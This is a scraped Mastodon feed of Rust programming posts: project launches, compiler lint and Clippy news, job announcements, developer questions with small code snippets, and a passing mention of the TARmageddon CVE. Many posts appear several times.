codeberg.org/withmu/timetodo/r

Catpure d'écran de l'application TimeTodo.
On voit des tâches à faire dans la catégorie en retard. Les jours à venir n'ont pas de tâches indiquées. Sur la colonne de droite, on voit une liste de projets (les noms sont floutés)
ALT text

Catpure d'écran de l'application TimeTodo. On voit des tâches à faire dans la catégorie en retard. Les jours à venir n'ont pas de tâches indiquées. Sur la colonne de droite, on voit une liste de projets (les noms sont floutés)

@atlza@mamot.fr

Nouvelle version de TimeTodo !

TimeTodo est une appli open-source de gestion de tâches et de développée en et disponible sur toutes les plateformes desktop (et mobile bientôt, j'espère).

Au programme de cette version :
- un meilleur affichage sur petits écrans
- des améliorations Ux
- des corrections de bugs...

Le code est dispo sur @Codeberg et les releases pour chaque OS sont téléchargeables ici :
codeberg.org/withmu/timetodo/r

Catpure d'écran de l'application TimeTodo.
On voit des tâches à faire dans la catégorie en retard. Les jours à venir n'ont pas de tâches indiquées. Sur la colonne de droite, on voit une liste de projets (les noms sont floutés)
ALT text

Catpure d'écran de l'application TimeTodo. On voit des tâches à faire dans la catégorie en retard. Les jours à venir n'ont pas de tâches indiquées. Sur la colonne de droite, on voit une liste de projets (les noms sont floutés)

@hugovk@mastodon.social
@hugovk@mastodon.social
@Medusalix@mastodon.social

I've launched a new open source project:

github.com/medusalix/FreeMDU

FreeMDU provides open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface.

More details about the project will be presented at the 39th Chaos Communication Congress as part of the talk "Hacking washing machines".

github.com

GitHub - medusalix/FreeMDU: Open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface

Open hardware and software tools for communicating with Miele appliances via their optical diagnostic interface - medusalix/FreeMDU

@wezm@mastodon.decentralised.social

Love it when a near complete project just appears out of nowhere.

"Brimstone is a JavaScript engine written from scratch in Rust, aiming to have full support for the JavaScript language.

Brimstone is a work in progress but already supports almost all of the JavaScript language (>97% of the ECMAScript language in test262). Not ready for use in production."

github.com/Hans-Halverson/brim

github.com

GitHub - Hans-Halverson/brimstone: New JavaScript engine written in Rust

New JavaScript engine written in Rust. Contribute to Hans-Halverson/brimstone development by creating an account on GitHub.

@wezm@mastodon.decentralised.social

Love it when a near complete project just appears out of nowhere.

"Brimstone is a JavaScript engine written from scratch in Rust, aiming to have full support for the JavaScript language.

Brimstone is a work in progress but already supports almost all of the JavaScript language (>97% of the ECMAScript language in test262). Not ready for use in production."

github.com/Hans-Halverson/brim

github.com

GitHub - Hans-Halverson/brimstone: New JavaScript engine written in Rust

New JavaScript engine written in Rust. Contribute to Hans-Halverson/brimstone development by creating an account on GitHub.

@ekuber@hachyderm.io

The hard part of is trying to simultaneously have hard to misuse APIs and no additional performance penalty (however small). If you relax either of those goals (is it really a problem if you call that method through a v-table? Is using interior mutability for that config flag going to affect anything?), then becomes much easier to write.

@ekuber@hachyderm.io

The hard part of is trying to simultaneously have hard to misuse APIs and no additional performance penalty (however small). If you relax either of those goals (is it really a problem if you call that method through a v-table? Is using interior mutability for that config flag going to affect anything?), then becomes much easier to write.

@christophehenry@mastodon.social

So I started a new project to transpile templates into JS script so you can render them both on server and client side : github.com/christophehenry/dja

The rationale is that there are situation where you can't afford HTTP queries to render parts of the UI with something like . With that, you can render them everywhere using a single source of truth.

It is written in and heavily based on django-rusty-templates.

I'm looking forward to hear your feedback on this

github.com

GitHub - christophehenry/django-template-transpiler

Contribute to christophehenry/django-template-transpiler development by creating an account on GitHub.

@david_chisnall@infosec.exchange

Yay, the embargo was finally lifted yesterday so we can talk about the UK Government funding for !

They funded us (SCI) to do two projects, for a total of £7.7M:

  • Bring on CHERIoT to production qualities.
  • Build our second-generation chip with a dual-issue core, post-quantum crypto hardware, and an edge inference accelerator.

ukri.org

£21 million backing for technology to stop cyber attackers

Advanced cyber protections will be embedded into the digital systems that power everything from critical infrastructure to consumer electronics.

@david_chisnall@infosec.exchange

Yay, the embargo was finally lifted yesterday so we can talk about the UK Government funding for !

They funded us (SCI) to do two projects, for a total of £7.7M:

  • Bring on CHERIoT to production qualities.
  • Build our second-generation chip with a dual-issue core, post-quantum crypto hardware, and an edge inference accelerator.

ukri.org

£21 million backing for technology to stop cyber attackers

Advanced cyber protections will be embedded into the digital systems that power everything from critical infrastructure to consumer electronics.

@wezm@mastodon.decentralised.social

"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."

security.googleblog.com/2025/1

security.googleblog.com

Rust in Android: move fast and fix things

Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...

@wezm@mastodon.decentralised.social

"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."

security.googleblog.com/2025/1

security.googleblog.com

Rust in Android: move fast and fix things

Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...

@wezm@mastodon.decentralised.social

"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."

security.googleblog.com/2025/1

security.googleblog.com

Rust in Android: move fast and fix things

Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...

@wezm@mastodon.decentralised.social

"We adopted Rust for its security and are seeing a 1000x reduction in memory safety vulnerability density compared to Android’s C and C++ code. But the biggest surprise was Rust's impact on software delivery. With Rust changes having a 4x lower rollback rate and spending 25% less time in code review, the safer path is now also the faster one."

security.googleblog.com/2025/1

security.googleblog.com

Rust in Android: move fast and fix things

Posted by Jeff Vander Stoep, Android Last year, we wrote about why a memory safety strategy that focuses on vulnerability prevention in ...

@nullagent@partyon.xyz · Reply to nullagent

I've coded in C / C++ / Java / Python / JS and anything else needed to get the job done.

I have never heard any group of devs so quickly dismiss security concerns about their ecosystem as rapidly as Rust devs.

YES the language IS type safe and that's a big value add.

But that value add can quickly be cancelled out without significant attention to detail.

The EXACT same attention to detail I code with in C / C++ / Java / Python / JS etc.

This time, is not different.

@nullagent@partyon.xyz · Reply to nullagent

So what were my cautions about Rust?

1. Be careful re-writing old stuff. You will repeat all the 30yr old logic bugs bc Rust is memory safe NOT provable correct.

2. Ppl-power. Lots of rewrites IS dividing our ppl-power. Be mindful of unmaintained core components

3. Vibe coded Rust is just as dangerous as any other language

4. Rust still can be used in memory unsafe ways. You actually have to audit the code to know if they did Rust right.

@nullagent@partyon.xyz

Was just going on a grey-beard rant about how Rust give developers a false sense of security.

I didn't even notice the TARMageddon vulnerability until now and well this grey beard really only can say "told you so".

This is -precisely- the class of bugs I was describing, and -exactly- due to the reasons I outlined.

The blast radius of this thing is also freaking epic, almost anything that used tar in Rust is vulnerable to possible RCEs lmao.

edera.dev/stories/tarmageddon

edera.dev

TARmageddon (CVE-2025-62518): RCE Vulnerability Highlights the Challenges of Open Source Abandonware

Edera uncovers TARmageddon (CVE-2025-62518), a Rust async-tar RCE flaw exposing the real dangers of open-source abandonware and supply chain security.

@imperio@toot.cat

Added a new rustc lint which will hopefully prevent a lot of very wrong casts: function_casts_as_integer.

In short, if you convert a function to an integer, it will now warn.

Why? Because of cases like:

let _ = [0; u8::max as usize];

u8::max is a function, not a constant (u8::MAX is the constant). Now you get a surprising amount of allocation (and potentially different) every time. :)

So many potential other cases where the end code is NOT the expected one. Well, not anymore!

PR: github.com/rust-lang/rust/pull

github.com

Add new `function_casts_as_integer` lint by GuillaumeGomez · Pull Request #141470 · rust-lang/rust

The function_casts_as_integer lint detects cases where users cast a function pointer into an integer. warn-by-default Example fn foo() {} let x = foo as usize; warning: casting a function into an i...

@haydntrowell@mastodon.social

My app, Typesetter, is now available on Flathub! It's a local-first editor for Typst (a markup language combining the simplicity of Markdown with the power of LaTeX), featuring a minimal interface, live preview, and click-to-jump between source and preview. It's still in early development, but I'd love feedback if you try it out.
Flathub: flathub.org/apps/details/net.t
Codeberg: codeberg.org/haydn/typesetter

@imperio@toot.cat

Added a new rustc lint which will hopefully prevent a lot of very wrong casts: function_casts_as_integer.

In short, if you convert a function to an integer, it will now warn.

Why? Because of cases like:

let _ = [0; u8::max as usize];

u8::max is a function, not a constant (u8::MAX is the constant). Now you get a surprising amount of allocation (and potentially different) every time. :)

So many potential other cases where the end code is NOT the expected one. Well, not anymore!

PR: github.com/rust-lang/rust/pull

github.com

Add new `function_casts_as_integer` lint by GuillaumeGomez · Pull Request #141470 · rust-lang/rust

The function_casts_as_integer lint detects cases where users cast a function pointer into an integer. warn-by-default Example fn foo() {} let x = foo as usize; warning: casting a function into an i...

@haydntrowell@mastodon.social

My app, Typesetter, is now available on Flathub! It's a local-first editor for Typst (a markup language combining the simplicity of Markdown with the power of LaTeX), featuring a minimal interface, live preview, and click-to-jump between source and preview. It's still in early development, but I'd love feedback if you try it out.
Flathub: flathub.org/apps/details/net.t
Codeberg: codeberg.org/haydn/typesetter

@zkat@toot.cat

First rough prerelease of @conjured_ink 's eshop software is up on codeberg: codeberg.org/conjured/silverfi

It's so tiny. That's the whole binary. There's no external dependencies. There's only a single binary in it, and it has both the database and the job queue software embedded right in it.

For folks familiar with hosting mastodon: Imagine if that was literally your hosting experience, and the entire thing barely used 80mb to serve thousands of requests per second on a single-core vm. No need to set up and manage mysql, or sidekiq. You just run the executable.

Silverfish (what we're calling this tiny thing) is still in very early stages and only really has a CMS with custom theming support so far, but new features are rapidly being added, and the guts of the thing are really featureful, with light/dark theme support, i18n, and a literal 1kb JS bundle where the entire admin interface works with JS completely disabled and is still super snappy.

I'm very excited

codeberg.org

Release v0.0.1 - conjured/silverfish

Auto-generated by https://codeberg.org/conjured/silverfish/actions/runs/363 ## Changelog This is an initial release, largely for the sake of testing our releases. It contains the basics of a stall, including the ability to create custom pages. ## Checksums * sha-256 57319fe64e4fb41045...

@ctietze@mastodon.social

I'm thinking of getting a real job after years of freelancing. (The stress and overhead isn't worth it with a toddler, I'd rather have it calm.)

If you know someone who needs a dev with 10+ years of experience, macOS and iOS, also some C and , who can self-manage and also manage-manage and act as product owner etc. (I'm also an indie with the full spectrum of experience), do share!

Thanks 🙏

@ctietze@mastodon.social

I'm thinking of getting a real job after years of freelancing. (The stress and overhead isn't worth it with a toddler, I'd rather have it calm.)

If you know someone who needs a dev with 10+ years of experience, macOS and iOS, also some C and , who can self-manage and also manage-manage and act as product owner etc. (I'm also an indie with the full spectrum of experience), do share!

Thanks 🙏

@jean_dupont@mastodon.social

New pattern shamefully unlocked! 🏆

All this time and I kept using
".unwrap()" in my async blocks... 🐒

...Whereas specifying the *return type* allows you to propagate errors with "?" 😯

async {
my_func()?;
Result::<(),std::io::Error>::Ok(())
}

What other great patterns did I just miss along the journey? 🙈😆

@jean_dupont@mastodon.social

New pattern shamefully unlocked! 🏆

All this time and I kept using
".unwrap()" in my async blocks... 🐒

...Whereas specifying the *return type* allows you to propagate errors with "?" 😯

async {
my_func()?;
Result::<(),std::io::Error>::Ok(())
}

What other great patterns did I just miss along the journey? 🙈😆

@arichtman@eigenmagic.net

After several weekends of being stymied I finally have the second thread reconciliation running. I might have even learned something! MPSC channels fell soon after.

Two hurdles remain: cluster node scaling implementation (which means *actually* understanding the thread data sharing enough to not just be hacking at it), and adding somehow an HTTP service (other than the gRPC one) - for the Prometheus metrics.

@Schneems@ruby.social

It seems like the easiest way to ship a library with both async and sync logic is to write the logic async, and require tokio to block for the sync version.

That seems backwards to force a project that has no technical need for tokio (not using async) to pull in such a heavy dependency.

What are the other options, besides not trying to re-use code and writing it twice?

@gnunicorn@hachyderm.io

Unfortunately, we were not able to raise the necessary funds and thus will have to shut down Acter and its matrix sever (for now): acter.global/news/we-are-shutt

*Fortunately* for you that means I am available for some freelance engineering work again, part-time for now as things still require my attention at times.

I can help from building SDKs to entire Apps in Rust (currently playing with ), architect, debug, profile, educate, teach and lead. Most of my 18+ years I've spent with and . If any of that is of interest to your, hit me up. Either here or via any of the contacts on my website (which also has a CV and project overview): GNUnicorn.org

Retoots appreciated ❤️ !

gnunicorn.org

GNUnicorn

Independent OpenSource Software Architect and Developer I design, build and supervise the building of software (systems). Sometimes for clients, often times on my own, whenever possible as OpenSource. I care about good design in both, the User Experience and backend architecture and infrastructure. Sometimes I write about some of this stuff.

@jer@hachyderm.io

don't mind me, just rendering some mir.

A large graph showing the MIR of a small Rust program, rendered using iongraph in the browser.
ALT text

A large graph showing the MIR of a small Rust program, rendered using iongraph in the browser.

@imperio@toot.cat
@imperio@toot.cat
@mgeisler@ohai.social

Hi developers! My Calendar team at @protonprivacy is ! We are looking to fill several positions at our offices in , , and

Job Description: grnh.se/op1xycx2teu

is office-first, with people coming in 3 days a week. Lunch is provided for you!

Please boost if you know a great Rust developer! If **I know you, please reach out directly** and I can refer you internally!

job-boards.eu.greenhouse.io

Rust Engineer

Barcelona; Geneva; London;

@mgeisler@ohai.social

Hi developers! My Calendar team at @protonprivacy is ! We are looking to fill several positions at our offices in , , and

Job Description: grnh.se/op1xycx2teu

is office-first, with people coming in 3 days a week. Lunch is provided for you!

Please boost if you know a great Rust developer! If **I know you, please reach out directly** and I can refer you internally!

job-boards.eu.greenhouse.io

Rust Engineer

Barcelona; Geneva; London;

@zkat@toot.cat

alright, that's enough for tonight.

I'm honestly surprised this app is still so small, considering how much stuff is built out already. We're currently clocking in at ~7.2kloc of Rust in my products branch, and that includes a rudimentary CMS, part of a buildout of an ecommerce shop, and a toooon of supporting features like multicurrency lib stuff, i18n, custom themes, a whole config/settings infra thing that integrates with clap, database stuff (with fully written-out sql queries), a mailer worker in an integrated worker queue, and more? That really doesn't feel like just 7.2kloc worth of work.

"What we learned with Clippy's feature freeze"

> we had 18 pull requests open in that period that added lints. With 326 pull requests open by both new and old contributors, we want to highlight all the new people that started contributing to Clippy, 47 new contributors who opened a total of 195 pull requests.

blog.rust-lang.org/inside-rust

Graph of pull requests throughout Clippy's lifetime, with an all-time peak
ALT text

Graph of pull requests throughout Clippy's lifetime, with an all-time peak

"What we learned with Clippy's feature freeze"

> we had 18 pull requests open in that period that added lints. With 326 pull requests open by both new and old contributors, we want to highlight all the new people that started contributing to Clippy, 47 new contributors who opened a total of 195 pull requests.

blog.rust-lang.org/inside-rust

Graph of pull requests throughout Clippy's lifetime, with an all-time peak
ALT text

Graph of pull requests throughout Clippy's lifetime, with an all-time peak

@imperio@toot.cat

After next docs.rs server update, you will be able to use additional-targets in your Cargo.toml docs.rs metadata. That will allow you to not have to re-declare the whole default list target but instead to just add more platforms as you see fit.

Should simplify things for a lot of us. :)

PR: github.com/rust-lang/docs.rs/p

github.com

Add support for `additional-targets` in docs.rs config by GuillaumeGomez · Pull Request #2950 · rust-lang/docs.rs

Fixes #2938.

@imperio@toot.cat

After next docs.rs server update, you will be able to use additional-targets in your Cargo.toml docs.rs metadata. That will allow you to not have to re-declare the whole default list target but instead to just add more platforms as you see fit.

Should simplify things for a lot of us. :)

PR: github.com/rust-lang/docs.rs/p

github.com

Add support for `additional-targets` in docs.rs config by GuillaumeGomez · Pull Request #2950 · rust-lang/docs.rs

Fixes #2938.

"How we organized the Rust Clippy feature freeze"

A casual insight on how the Clippy feature freeze took place. I'll be doing a more formal summary in the Rust blog, but some insight in "how" rather than "what" might be interesting.

blog.goose.love/posts/organizi

blog.goose.love

How we organized the Rust Clippy feature freeze | BLOG.GOOSE.LOVE

@arichtman@eigenmagic.net

Well, I knew it was a dirty hack anyways but still.... rude!

Guess I'll have to model my data properly

Creating a type alias for i32 so I can custom implement the Default trait to set it to a magic value.
ALT text

Creating a type alias for i32 so I can custom implement the Default trait to set it to a magic value.

@arichtman@eigenmagic.net

I am having A Time.

refactoring my Arc<RwLock<_>>
location for the 53rd time
thanks async! 🖕

Kylo Ren "I know what I have to do but I don't know if I have the strength to do it"
ALT text

refactoring my Arc<RwLock<_>> location for the 53rd time thanks async! 🖕 Kylo Ren "I know what I have to do but I don't know if I have the strength to do it"

"How we organized the Rust Clippy feature freeze"

A casual insight on how the Clippy feature freeze took place. I'll be doing a more formal summary in the Rust blog, but some insight in "how" rather than "what" might be interesting.

blog.goose.love/posts/organizi

blog.goose.love

How we organized the Rust Clippy feature freeze | BLOG.GOOSE.LOVE

@imperio@toot.cat

The Rust GCC backend is now tested as part of the Rust merge CI process. \o/

We should now hopefully spend a lot less time on syncs and focus on increase the support for the GCC backend.

PR: github.com/rust-lang/rust/pull

github.com

Add a CI job that runs a subset of UI tests with the GCC backend by GuillaumeGomez · Pull Request #146414 · rust-lang/rust

Part of rust-lang/compiler-team#891. r? @Kobzol

@sedje@fosstodon.org

ipgrep is a CLI tool that doesn't search by regex, but by IP-CIDR:

github.com/ossobv/ipgrep

It can come in handy when you're debugging route tables, firewalls, extracting IPs or networks from text files...

Example:

```
$ ipgrep -m within 127.0.1.0/24 /etc/hosts
127.0.1.1 wortel.kiwi wortel
```

Written in . My peers might appreciate it.

The image shows a prompt of ipcalc piped to ipgrep. ipcalc outputs IP network information, in this case 192.168.32.0/19 among others. ipgrep searches for 192.168.43.21 and finds 192.168.32.0/19. The match is colorized, as with regular grep. And 1 line of context is shown above and below the match.
ALT text

The image shows a prompt of ipcalc piped to ipgrep. ipcalc outputs IP network information, in this case 192.168.32.0/19 among others. ipgrep searches for 192.168.43.21 and finds 192.168.32.0/19. The match is colorized, as with regular grep. And 1 line of context is shown above and below the match.

@ekuber@hachyderm.io

> Why don't the folks making talk about what it is bad at?

90% of managing is properly communicating, discussing and addressing the ways in which Rust sucks.
The all-hands in NL earlier this year was wall to wall meetings about how much things suck and what to do about them!
I mean this in the best possible way. ^_^

@wezm@mastodon.decentralised.social
@wezm@mastodon.decentralised.social
@zkat@toot.cat

Initial custom themes support has landed in @conjured.ink's stall software and it's very fast, and very easy to write custom themes for (assuming you know a little bit of HTML/CSS!)

Highlights:

  • VERY fast jinja-style templates w/ layouts & partials
  • KDL-based metadata ;)
  • No framework needed!
  • Easy packaging

Our shops are more than just ecommerce: they're going to be able to do newsletters/blogging, POSSE, and general custom websites, all with an EXTREMELY small footprint that will be cheap or free!

Like this whole thing? Please support us if can comfortably do so: mastodon.social/@conjured_ink/

// theme.kdl
name example-theme
label "Example Theme"
description "An example Silverfish theme."
author "Kat Marchán" email=kzm@zkat.tech
keywords default simple.css lightweight basic
ALT text

// theme.kdl name example-theme label "Example Theme" description "An example Silverfish theme." author "Kat Marchán" email=kzm@zkat.tech keywords default simple.css lightweight basic

File tree showing a very simple theme package file structure
ALT text

File tree showing a very simple theme package file structure

Example home page theme, showing off jinja template syntax
ALT text

Example home page theme, showing off jinja template syntax

Screenshot from the home page itself, using the theme
ALT text

Screenshot from the home page itself, using the theme

@zkat@toot.cat

Initial custom themes support has landed in @conjured.ink's stall software and it's very fast, and very easy to write custom themes for (assuming you know a little bit of HTML/CSS!)

Highlights:

  • VERY fast jinja-style templates w/ layouts & partials
  • KDL-based metadata ;)
  • No framework needed!
  • Easy packaging

Our shops are more than just ecommerce: they're going to be able to do newsletters/blogging, POSSE, and general custom websites, all with an EXTREMELY small footprint that will be cheap or free!

Like this whole thing? Please support us if can comfortably do so: mastodon.social/@conjured_ink/

// theme.kdl
name example-theme
label "Example Theme"
description "An example Silverfish theme."
author "Kat Marchán" email=kzm@zkat.tech
keywords default simple.css lightweight basic
ALT text

// theme.kdl name example-theme label "Example Theme" description "An example Silverfish theme." author "Kat Marchán" email=kzm@zkat.tech keywords default simple.css lightweight basic

File tree showing a very simple theme package file structure
ALT text

File tree showing a very simple theme package file structure

Example home page theme, showing off jinja template syntax
ALT text

Example home page theme, showing off jinja template syntax

Screenshot from the home page itself, using the theme
ALT text

Screenshot from the home page itself, using the theme

@zkat@toot.cat

So over at @conjured_ink, we've been seeing some annoying compilation times issue on the webapp we're working on (Axum based), and we're looking at trying to split it into crates and see if that helps with the issue.

The problem is, we're not really sure how to split it: should it be by feature? By function? Should each view+model+controller combo have its own crate? Or should all views go in a single crate, then all models, then all controllers? Or maybe every one of those should get an individual crate to themselves (since we actually have TWO webapps and they're gonna reuse code from one another)?

Do y'all have experience doing this kind of split? Are there any examples or wisdom you can share?

@ASI@fosstodon.org

Na naszym kanale YouTube pojawił się film z wystąpienia Kamili Drzewieckiej (@MarkAssPandi) “Sztuka tworzenia koła od nowa”, które miało miejsce podczas 19. Sesji Linuksowej.

🎥 Link do filmu: youtu.be/EV6pLE8CUrk

Zapraszamy do oglądania prelekcji i subskrybowania kanału.

Obejrzyj film - “Sztuka tworzenia koła od nowa”. Pingwin w okularach 3D i z wiadrem popcornu wygląda zza miniatury filmu YouTube. Na dole znajduje się logo 19. Sesji Linuksowej.
ALT text

Obejrzyj film - “Sztuka tworzenia koła od nowa”. Pingwin w okularach 3D i z wiadrem popcornu wygląda zza miniatury filmu YouTube. Na dole znajduje się logo 19. Sesji Linuksowej.

@ProHaller@mastodon.social

Awesome embedded workshop with Tokyo , @orhun and Mousefood by @j_g00da !

To be honest I didn’t get the appeal of embedded before tonight. But there is something about playing with that tiny screen that is surprisingly satisfying.

Orhun flexing his massive arms
ALT text

Orhun flexing his massive arms

Jagoda flexing her awesome brains
ALT text

Jagoda flexing her awesome brains

Orhun grinding riz
ALT text

Orhun grinding riz

30+ Focused attendees and as many disappointed people on the waiting list…
ALT text

30+ Focused attendees and as many disappointed people on the waiting list…

@zkat@toot.cat · Reply to Katerina Marchán

Seeking feedback from Bevy and Big Brain users: how does this new API look?

Under the hood, this would be a high-performance, low-overhead API powered by Observers, but this is all you would actually need to write yourself.

I'm pretty sure I can get this to work with Bevy's current featureset, including the Very Fun async actions situation here.

#[derive(Debug, Default, Clone, Copy, Component)]
pub struct Thirsty;

#[scorer_for(Thirsty)]
pub fn score_thirsty(score: Score, thirsts: Query<&Thirst>) -> Score {
    score.update(thirsts.get(score.actor()).unwrap().thirst)
}

#[derive(Debug, Clone, Copy, Component)]
pub struct Drink { rate: f32, per: Duration }
impl Default for Drink {
    fn default() -> Self {
        Self { rate: 0.5, per: Duration::from_millis(500), }
    }
}

#[action_for(Drink)]
pub async fn drink_action(
    action: Action<Drink>,
    mut thirsts: Query<&mut Thirst>
) -> Result<(), ActionFailure> {
    while let Ok(mut thirst) = thirsts.get(action.actor()) && thirst.thirst > 10.0 {
        action.check_cancelled()?;
        thirst.thirst -= action.data().rate;
        action.sleep(action.data().per).await;
    }
    Ok(())
}

fn spawn_entity(cmd: &mut Commands) {
    cmd.spawn((
        Thirst(70.0, 2.0),
        Thinker::new()
            .picker(FirstToScore { threshold: 0.8 })
            .when<Thirsty, Drink>(),
    ));
}
ALT text

#[derive(Debug, Default, Clone, Copy, Component)] pub struct Thirsty; #[scorer_for(Thirsty)] pub fn score_thirsty(score: Score, thirsts: Query<&Thirst>) -> Score { score.update(thirsts.get(score.actor()).unwrap().thirst) } #[derive(Debug, Clone, Copy, Component)] pub struct Drink { rate: f32, per: Duration } impl Default for Drink { fn default() -> Self { Self { rate: 0.5, per: Duration::from_millis(500), } } } #[action_for(Drink)] pub async fn drink_action( action: Action<Drink>, mut thirsts: Query<&mut Thirst> ) -> Result<(), ActionFailure> { while let Ok(mut thirst) = thirsts.get(action.actor()) && thirst.thirst > 10.0 { action.check_cancelled()?; thirst.thirst -= action.data().rate; action.sleep(action.data().per).await; } Ok(()) } fn spawn_entity(cmd: &mut Commands) { cmd.spawn(( Thirst(70.0, 2.0), Thinker::new() .picker(FirstToScore { threshold: 0.8 }) .when<Thirsty, Drink>(), )); }

@mholiv@fosstodon.org

The Exofactory demo has been soft launched and is available to download on Steam. So so so much work. Lots of game dev specific stuff in this one. If you play it do let me know if you see any major bugs. Lol. Will hard launch as part of Steam Next fest but you can play it now. exofactory.net/blog/2025-10-07/

exofactory.net

Demo Release and Polish

The demo’s out on Steam for Linux and Windows. Trailer too! Packaging was rougher than expected, testing slipped, and I learned a lot. Animations and systems finally are there. Next up: better accessability, controllers, terrain rework, and mechanics. If you play the demo let me know what breaks.

@zkat@toot.cat

FYI: As part of a larger move away from GitHub, I've archived Big Brain on it and moved all future development over to Codeberg, at codeberg.org/zkat/big-brain

Please use that repo from now on.

Additionally: I am in the process of trying a major rewrite of the crate that I'm hoping will be much simpler, and much more efficient, thanks to features now available in recent version of Bevy! I'm very excited :)

codeberg.org

big-brain

Utility AI library for the Bevy game engine

@mholiv@fosstodon.org

The Exofactory demo has been soft launched and is available to download on Steam. So so so much work. Lots of game dev specific stuff in this one. If you play it do let me know if you see any major bugs. Lol. Will hard launch as part of Steam Next fest but you can play it now. exofactory.net/blog/2025-10-07/

exofactory.net

Demo Release and Polish

The demo’s out on Steam for Linux and Windows. Trailer too! Packaging was rougher than expected, testing slipped, and I learned a lot. Animations and systems finally are there. Next up: better accessability, controllers, terrain rework, and mechanics. If you play the demo let me know what breaks.

@arichtman@eigenmagic.net

Rust threading question:

I'm trying to start a background process that runs for the lifespan of the object.
I don't want to drop the handle since that'll leak the thread forever (?? Or does it get killed when the entire program runs to completion?).

Option<_> seemed like a nice way to defer the spawn call so I can set the handle after struct instantiation but then I wind up in lifetime hell adding `'static` to everything and somehow not solving it :blobfoxgoogly:

How would you approach this?

Code warning:

```rust
struct HasBackgroundThread {
  state: u8,
  thread_handle: JoinHandle<()>,
}

impl HasBackgroundThread {
  fn reconciliation_loop(self: &Self) {
    loop { println!("{}", self.state) }
}
pub fn new(initial_state: u8) -> Self {
    // Can't spawn the thread first cause no struct instantiated
    let thread_handle = std::thread::spawn(???.reconciliation_loop);
    HasBackgroundThread {
      state: initial_state,
      thread_handle,
    }
    // Can't spawn it after cause no Default impl for JoinHandle<()>
    //   and if we use Option<JoinHandle<()>> to add it later, lifetimes go bonkers
  }
}
```
ALT text

Code warning: ```rust struct HasBackgroundThread { state: u8, thread_handle: JoinHandle<()>, } impl HasBackgroundThread { fn reconciliation_loop(self: &Self) { loop { println!("{}", self.state) } } pub fn new(initial_state: u8) -> Self { // Can't spawn the thread first cause no struct instantiated let thread_handle = std::thread::spawn(???.reconciliation_loop); HasBackgroundThread { state: initial_state, thread_handle, } // Can't spawn it after cause no Default impl for JoinHandle<()> // and if we use Option<JoinHandle<()>> to add it later, lifetimes go bonkers } } ```

@zkat@toot.cat

I'm just gonna keep waiting until the Bevy Editor finally comes out to try and write a game with the engine in earnest. I keep getting ideas but I just don't really wanna deal with writing something as complex and difficult as a game, with my hands tied behind my back any more than I have to.

that said, I'll probably be poking around the ecosystem sometime soon, after reading those updates on the observers in 0.17. They would make big-brain so much nicer to use, and probably simplify the implementation a lot (it would probably be a full rewrite?)

@rek2@hispagatos.space

Hello & friends, I fixed the rss to usenet bot code git.sr.ht/~rek2/rek2_usenet_rs so now handles RSS and ATOM and an issue I had with RSS generated from mastodon tags like etc, now our newsgroups get the proper information from mastodon alerts and also added exploitdb to our exploits newsgroup hispagatos.hacking.exploits the usenet client is TUI client you can find it on my sr.ht or crates.io Happy Hacking!!!

@rek2@hispagatos.space

Hello & friends, I fixed the rss to usenet bot code git.sr.ht/~rek2/rek2_usenet_rs so now handles RSS and ATOM and an issue I had with RSS generated from mastodon tags like etc, now our newsgroups get the proper information from mastodon alerts and also added exploitdb to our exploits newsgroup hispagatos.hacking.exploits the usenet client is TUI client you can find it on my sr.ht or crates.io Happy Hacking!!!

@michalfita@mastodon.social · Reply to Blain Smith

@blainsmith Nice picture of turning most of the programming's _cognitive load_ into actual problem at hand, instead of whether something is valid or legal. Exact reason why there's so many great projects created in .

@lorax@dresden.network

Pages ist gerade down. Es gab mit dem Service schon länger Probleme, unter anderem deswegen, weil es zZ nur noch eine Maintainerin gibt. Es gibt aber gute Nachrichten! Ein neuer Server wird gebaut und das komplett in und ! Wenn also jemensch Zeit hat unsere , durch einen der größeren Konkurentinnen zu GitHub zu unterstützen, dann schaut euch vielleicht mal codeberg.org/Codeberg/pages-se an und helft mit!

@Codeberg

codeberg.org

pages-server-v3

A WIP pages-server written by some volunteers in their free time

@arichtman@eigenmagic.net

Latest @GreenTeaCoding has me curious to try factoring my URL shortener into "clean architecture".

I get that gang of four and design patterns and hexagonal architecture and all that aren't....well all that but perhaps it'd be worthwhile as a learning exercise.

Also huge shout to green tea coding - love their videos

@esparta@ruby.social · Reply to Esparta :ruby:

@rubycentral
Continuing with meeting for September 2025.

... and here we are with André Arko (Spinel Coop) @indirect who will be taking about rv, a New Kind of Ruby Management Tool

- rv is made with
- is based on portable-ruby, from Homebrew

Note: André was book for this meeting way before the fiasco in the community

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
ALT text

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
ALT text

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
ALT text

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool
ALT text

André Arko (Spinel Coop) @indirect@fiasco.social who will be taking about rv, a New Kind of Ruby Management Tool

Currently working on a fairly awaited feature, running Clippy as an add-on with `cargo build` and `cargo test`!

This change will heavily impact how your Clippy workflow works, specially on CI. You'll no longer have to separate your linting from your testing, saving invaluable CI time!

(A more detailed blog post on the Rust [Inside?] blog will probably come soon after the feature is merged)

